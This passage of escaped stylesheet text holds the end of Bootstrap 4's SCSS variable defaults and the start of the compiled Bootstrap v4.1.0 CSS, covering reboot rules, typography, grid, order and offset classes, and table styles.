!default;\n$alert-border-radius:               $border-radius !default;\n$alert-link-font-weight:            $font-weight-bold !default;\n$alert-border-width:                $border-width !default;\n\n$alert-bg-level:                    -10 !default;\n$alert-border-level:                -9 !default;\n$alert-color-level:                 6 !default;\n\n\n// Progress bars\n\n$progress-height:                   1rem !default;\n$progress-font-size:                ($font-size-base * .75) !default;\n$progress-bg:                       $gray-200 !default;\n$progress-border-radius:            $border-radius !default;\n$progress-box-shadow:               inset 0 .1rem .1rem rgba($black, .1) !default;\n$progress-bar-color:                $white !default;\n$progress-bar-bg:                   theme-color(\"primary\") !default;\n$progress-bar-animation-timing:     1s linear infinite !default;\n$progress-bar-transition:           width .6s ease !default;\n\n// List group\n\n$list-group-bg:                     $white !default;\n$list-group-border-color:           rgba($black, .125) !default;\n$list-group-border-width:           $border-width !default;\n$list-group-border-radius:          $border-radius !default;\n\n$list-group-item-padding-y:         .75rem !default;\n$list-group-item-padding-x:         1.25rem !default;\n\n$list-group-hover-bg:               $gray-100 !default;\n$list-group-active-color:           $component-active-color !default;\n$list-group-active-bg:              $component-active-bg !default;\n$list-group-active-border-color:    $list-group-active-bg !default;\n\n$list-group-disabled-color:         $gray-600 !default;\n$list-group-disabled-bg:            $list-group-bg !default;\n\n$list-group-action-color:           $gray-700 !default;\n$list-group-action-hover-color:     $list-group-action-color !default;\n\n$list-group-action-active-color:    $body-color !default;\n$list-group-action-active-bg:       $gray-200 !default;\n\n\n// Image thumbnails\n\n$thumbnail-padding:                 .25rem !default;\n$thumbnail-bg:                      $body-bg !default;\n$thumbnail-border-width:            $border-width !default;\n$thumbnail-border-color:            $gray-300 !default;\n$thumbnail-border-radius:           $border-radius !default;\n$thumbnail-box-shadow:              0 1px 2px rgba($black, .075) !default;\n\n\n// Figures\n\n$figure-caption-font-size:          90% !default;\n$figure-caption-color:              $gray-600 !default;\n\n\n// Breadcrumbs\n\n$breadcrumb-padding-y:              .75rem !default;\n$breadcrumb-padding-x:              1rem !default;\n$breadcrumb-item-padding:           .5rem !default;\n\n$breadcrumb-margin-bottom:          1rem !default;\n\n$breadcrumb-bg:                     $gray-200 !default;\n$breadcrumb-divider-color:          $gray-600 !default;\n$breadcrumb-active-color:           $gray-600 !default;\n$breadcrumb-divider:                quote(\"/\") !default;\n\n$breadcrumb-border-radius:          $border-radius !default;\n\n\n// Carousel\n\n$carousel-control-color:            $white !default;\n$carousel-control-width:            15% !default;\n$carousel-control-opacity:          .5 !default;\n\n$carousel-indicator-width:          30px !default;\n$carousel-indicator-height:         3px !default;\n$carousel-indicator-spacer:         3px !default;\n$carousel-indicator-active-bg:      $white !default;\n\n$carousel-caption-width:            70% !default;\n$carousel-caption-color:            $white !default;\n\n$carousel-control-icon-width:       20px !default;\n\n$carousel-control-prev-icon-bg:     str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$carousel-control-next-icon-bg:     str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$carousel-transition:               transform .6s ease !default; // Define transform transition first if using multiple transitons (e.g., `transform 2s ease, opacity .5s ease-out`)\n\n\n// Close\n\n$close-font-size:                   $font-size-base * 1.5 !default;\n$close-font-weight:                 $font-weight-bold !default;\n$close-color:                       $black !default;\n$close-text-shadow:                 0 1px 0 $white !default;\n\n// Code\n\n$code-font-size:                    87.5% !default;\n$code-color:                        $pink !default;\n\n$kbd-padding-y:                     .2rem !default;\n$kbd-padding-x:                     .4rem !default;\n$kbd-font-size:                     $code-font-size !default;\n$kbd-color:                         $white !default;\n$kbd-bg:                            $gray-900 !default;\n\n$pre-color:                         $gray-900 !default;\n$pre-scrollable-max-height:         340px !default;\n\n\n// Printing\n$print-page-size:                   a3 !default;\n$print-body-min-width:              map-get($grid-breakpoints, \"lg\") !default;\n","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n  --blue: #007bff;\n  --indigo: #6610f2;\n  --purple: #6f42c1;\n  --pink: #e83e8c;\n  --red: #dc3545;\n  --orange: #fd7e14;\n  --yellow: #ffc107;\n  --green: #28a745;\n  --teal: #20c997;\n  --cyan: #17a2b8;\n  --white: #fff;\n  --gray: #6c757d;\n  --gray-dark: #343a40;\n  --primary: #007bff;\n  --secondary: #6c757d;\n  --success: #28a745;\n  --info: #17a2b8;\n  --warning: #ffc107;\n  --danger: #dc3545;\n  --light: #f8f9fa;\n  --dark: #343a40;\n  --breakpoint-xs: 0;\n  --breakpoint-sm: 576px;\n  --breakpoint-md: 768px;\n  --breakpoint-lg: 992px;\n  --breakpoint-xl: 1200px;\n  --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 0.5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: 0.5rem;\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.2;\n  color: inherit;\n}\n\nh1, .h1 {\n  font-size: 2.5rem;\n}\n\nh2, .h2 {\n  font-size: 2rem;\n}\n\nh3, .h3 {\n  font-size: 1.75rem;\n}\n\nh4, .h4 {\n  font-size: 1.5rem;\n}\n\nh5, .h5 {\n  font-size: 1.25rem;\n}\n\nh6, .h6 {\n  font-size: 1rem;\n}\n\n.lead {\n  font-size: 1.25rem;\n  font-weight: 300;\n}\n\n.display-1 {\n  font-size: 6rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-2 {\n  font-size: 5.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-3 {\n  font-size: 4.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-4 {\n  font-size: 3.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\nhr {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  border: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n  font-size: 80%;\n  font-weight: 400;\n}\n\nmark,\n.mark {\n  padding: 0.2em;\n  background-color: #fcf8e3;\n}\n\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline-item {\n  display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n  margin-right: 0.5rem;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n.blockquote {\n  margin-bottom: 1rem;\n  font-size: 1.25rem;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%;\n  color: #6c757d;\n}\n\n.blockquote-footer::before {\n  content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n  max-width: 100%;\n  height: auto;\n}\n\n.img-thumbnail {\n  padding: 0.25rem;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n  border-radius: 0.25rem;\n  max-width: 100%;\n  height: auto;\n}\n\n.figure {\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: 0.5rem;\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: 90%;\n  color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n  font-size: 87.5%;\n  color: #e83e8c;\n  word-break: break-word;\n}\n\na > code {\n  color: inherit;\n}\n\nkbd {\n  padding: 0.2rem 0.4rem;\n  font-size: 87.5%;\n  color: #fff;\n  background-color: #212529;\n  border-radius: 0.2rem;\n}\n\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: 700;\n}\n\npre {\n  display: block;\n  font-size: 87.5%;\n  color: #212529;\n}\n\npre code {\n  font-size: inherit;\n  color: inherit;\n  word-break: normal;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  flex-basis: 0;\n  flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  flex: 0 0 8.333333%;\n  max-width: 8.333333%;\n}\n\n.col-2 {\n  flex: 0 0 16.666667%;\n  max-width: 16.666667%;\n}\n\n.col-3 {\n  flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  flex: 0 0 33.333333%;\n  max-width: 33.333333%;\n}\n\n.col-5 {\n  flex: 0 0 41.666667%;\n  max-width: 41.666667%;\n}\n\n.col-6 {\n  flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  flex: 0 0 58.333333%;\n  max-width: 58.333333%;\n}\n\n.col-8 {\n  flex: 0 0 66.666667%;\n  max-width: 66.666667%;\n}\n\n.col-9 {\n  flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  flex: 0 0 83.333333%;\n  max-width: 83.333333%;\n}\n\n.col-11 {\n  flex: 0 0 91.666667%;\n  max-width: 91.666667%;\n}\n\n.col-12 {\n  flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-first {\n  order: -1;\n}\n\n.order-last {\n  order: 13;\n}\n\n.order-0 {\n  order: 0;\n}\n\n.order-1 {\n  order: 1;\n}\n\n.order-2 {\n  order: 2;\n}\n\n.order-3 {\n  order: 3;\n}\n\n.order-4 {\n  order: 4;\n}\n\n.order-5 {\n  order: 5;\n}\n\n.order-6 {\n  order: 6;\n}\n\n.order-7 {\n  order: 7;\n}\n\n.order-8 {\n  order: 8;\n}\n\n.order-9 {\n  order: 9;\n}\n\n.order-10 {\n  order: 10;\n}\n\n.order-11 {\n  order: 11;\n}\n\n.order-12 {\n  order: 12;\n}\n\n.offset-1 {\n  margin-left: 8.333333%;\n}\n\n.offset-2 {\n  margin-left: 16.666667%;\n}\n\n.offset-3 {\n  margin-left: 25%;\n}\n\n.offset-4 {\n  margin-left: 33.333333%;\n}\n\n.offset-5 {\n  margin-left: 41.666667%;\n}\n\n.offset-6 {\n  margin-left: 50%;\n}\n\n.offset-7 {\n  margin-left: 58.333333%;\n}\n\n.offset-8 {\n  margin-left: 66.666667%;\n}\n\n.offset-9 {\n  margin-left: 75%;\n}\n\n.offset-10 {\n  margin-left: 83.333333%;\n}\n\n.offset-11 {\n  margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-sm-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-sm-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-sm-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-sm-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-sm-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-sm-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-sm-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-sm-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-first {\n    order: -1;\n  }\n  .order-sm-last {\n    order: 13;\n  }\n  .order-sm-0 {\n    order: 0;\n  }\n  .order-sm-1 {\n    order: 1;\n  }\n  .order-sm-2 {\n    order: 2;\n  }\n  .order-sm-3 {\n    order: 3;\n  }\n  .order-sm-4 {\n    order: 4;\n  }\n  .order-sm-5 {\n    order: 5;\n  }\n  .order-sm-6 {\n    order: 6;\n  }\n  .order-sm-7 {\n    order: 7;\n  }\n  .order-sm-8 {\n    order: 8;\n  }\n  .order-sm-9 {\n    order: 9;\n  }\n  .order-sm-10 {\n    order: 10;\n  }\n  .order-sm-11 {\n    order: 11;\n  }\n  .order-sm-12 {\n    order: 12;\n  }\n  .offset-sm-0 {\n    margin-left: 0;\n  }\n  .offset-sm-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-sm-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-sm-3 {\n    margin-left: 25%;\n  }\n  .offset-sm-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-sm-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-sm-6 {\n    margin-left: 50%;\n  }\n  .offset-sm-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-sm-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-sm-9 {\n    margin-left: 75%;\n  }\n  .offset-sm-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-sm-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-first {\n    order: -1;\n  }\n  .order-md-last {\n    order: 13;\n  }\n  .order-md-0 {\n    order: 0;\n  }\n  .order-md-1 {\n    order: 1;\n  }\n  .order-md-2 {\n    order: 2;\n  }\n  .order-md-3 {\n    order: 3;\n  }\n  .order-md-4 {\n    order: 4;\n  }\n  .order-md-5 {\n    order: 5;\n  }\n  .order-md-6 {\n    order: 6;\n  }\n  .order-md-7 {\n    order: 7;\n  }\n  .order-md-8 {\n    order: 8;\n  }\n  .order-md-9 {\n    order: 9;\n  }\n  .order-md-10 {\n    order: 10;\n  }\n  .order-md-11 {\n    order: 11;\n  }\n  .order-md-12 {\n    order: 12;\n  }\n  .offset-md-0 {\n    margin-left: 0;\n  }\n  .offset-md-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-md-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-md-3 {\n    margin-left: 25%;\n  }\n  .offset-md-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-md-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-md-6 {\n    margin-left: 50%;\n  }\n  .offset-md-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-md-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-md-9 {\n    margin-left: 75%;\n  }\n  .offset-md-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-md-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-first {\n    order: -1;\n  }\n  .order-lg-last {\n    order: 13;\n  }\n  .order-lg-0 {\n    order: 0;\n  }\n  .order-lg-1 {\n    order: 1;\n  }\n  .order-lg-2 {\n    order: 2;\n  }\n  .order-lg-3 {\n    order: 3;\n  }\n  .order-lg-4 {\n    order: 4;\n  }\n  .order-lg-5 {\n    order: 5;\n  }\n  .order-lg-6 {\n    order: 6;\n  }\n  .order-lg-7 {\n    order: 7;\n  }\n  .order-lg-8 {\n    order: 8;\n  }\n  .order-lg-9 {\n    order: 9;\n  }\n  .order-lg-10 {\n    order: 10;\n  }\n  .order-lg-11 {\n    order: 11;\n  }\n  .order-lg-12 {\n    order: 12;\n  }\n  .offset-lg-0 {\n    margin-left: 0;\n  }\n  .offset-lg-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-lg-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-lg-3 {\n    margin-left: 25%;\n  }\n  .offset-lg-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-lg-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-lg-6 {\n    margin-left: 50%;\n  }\n  .offset-lg-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-lg-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-lg-9 {\n    margin-left: 75%;\n  }\n  .offset-lg-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-lg-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-first {\n    order: -1;\n  }\n  .order-xl-last {\n    order: 13;\n  }\n  .order-xl-0 {\n    order: 0;\n  }\n  .order-xl-1 {\n    order: 1;\n  }\n  .order-xl-2 {\n    order: 2;\n  }\n  .order-xl-3 {\n    order: 3;\n  }\n  .order-xl-4 {\n    order: 4;\n  }\n  .order-xl-5 {\n    order: 5;\n  }\n  .order-xl-6 {\n    order: 6;\n  }\n  .order-xl-7 {\n    order: 7;\n  }\n  .order-xl-8 {\n    order: 8;\n  }\n  .order-xl-9 {\n    order: 9;\n  }\n  .order-xl-10 {\n    order: 10;\n  }\n  .order-xl-11 {\n    order: 11;\n  }\n  .order-xl-12 {\n    order: 12;\n  }\n  .offset-xl-0 {\n    margin-left: 0;\n  }\n  .offset-xl-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-xl-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-xl-3 {\n    margin-left: 25%;\n  }\n  .offset-xl-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-xl-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-xl-6 {\n    margin-left: 50%;\n  }\n  .offset-xl-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-xl-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-xl-9 {\n    margin-left: 75%;\n  }\n  .offset-xl-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-xl-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 1rem;\n  background-color: transparent;\n}\n\n.table th,\n.table td {\n  padding: 0.75rem;\n  vertical-align: top;\n  border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n  background-color: 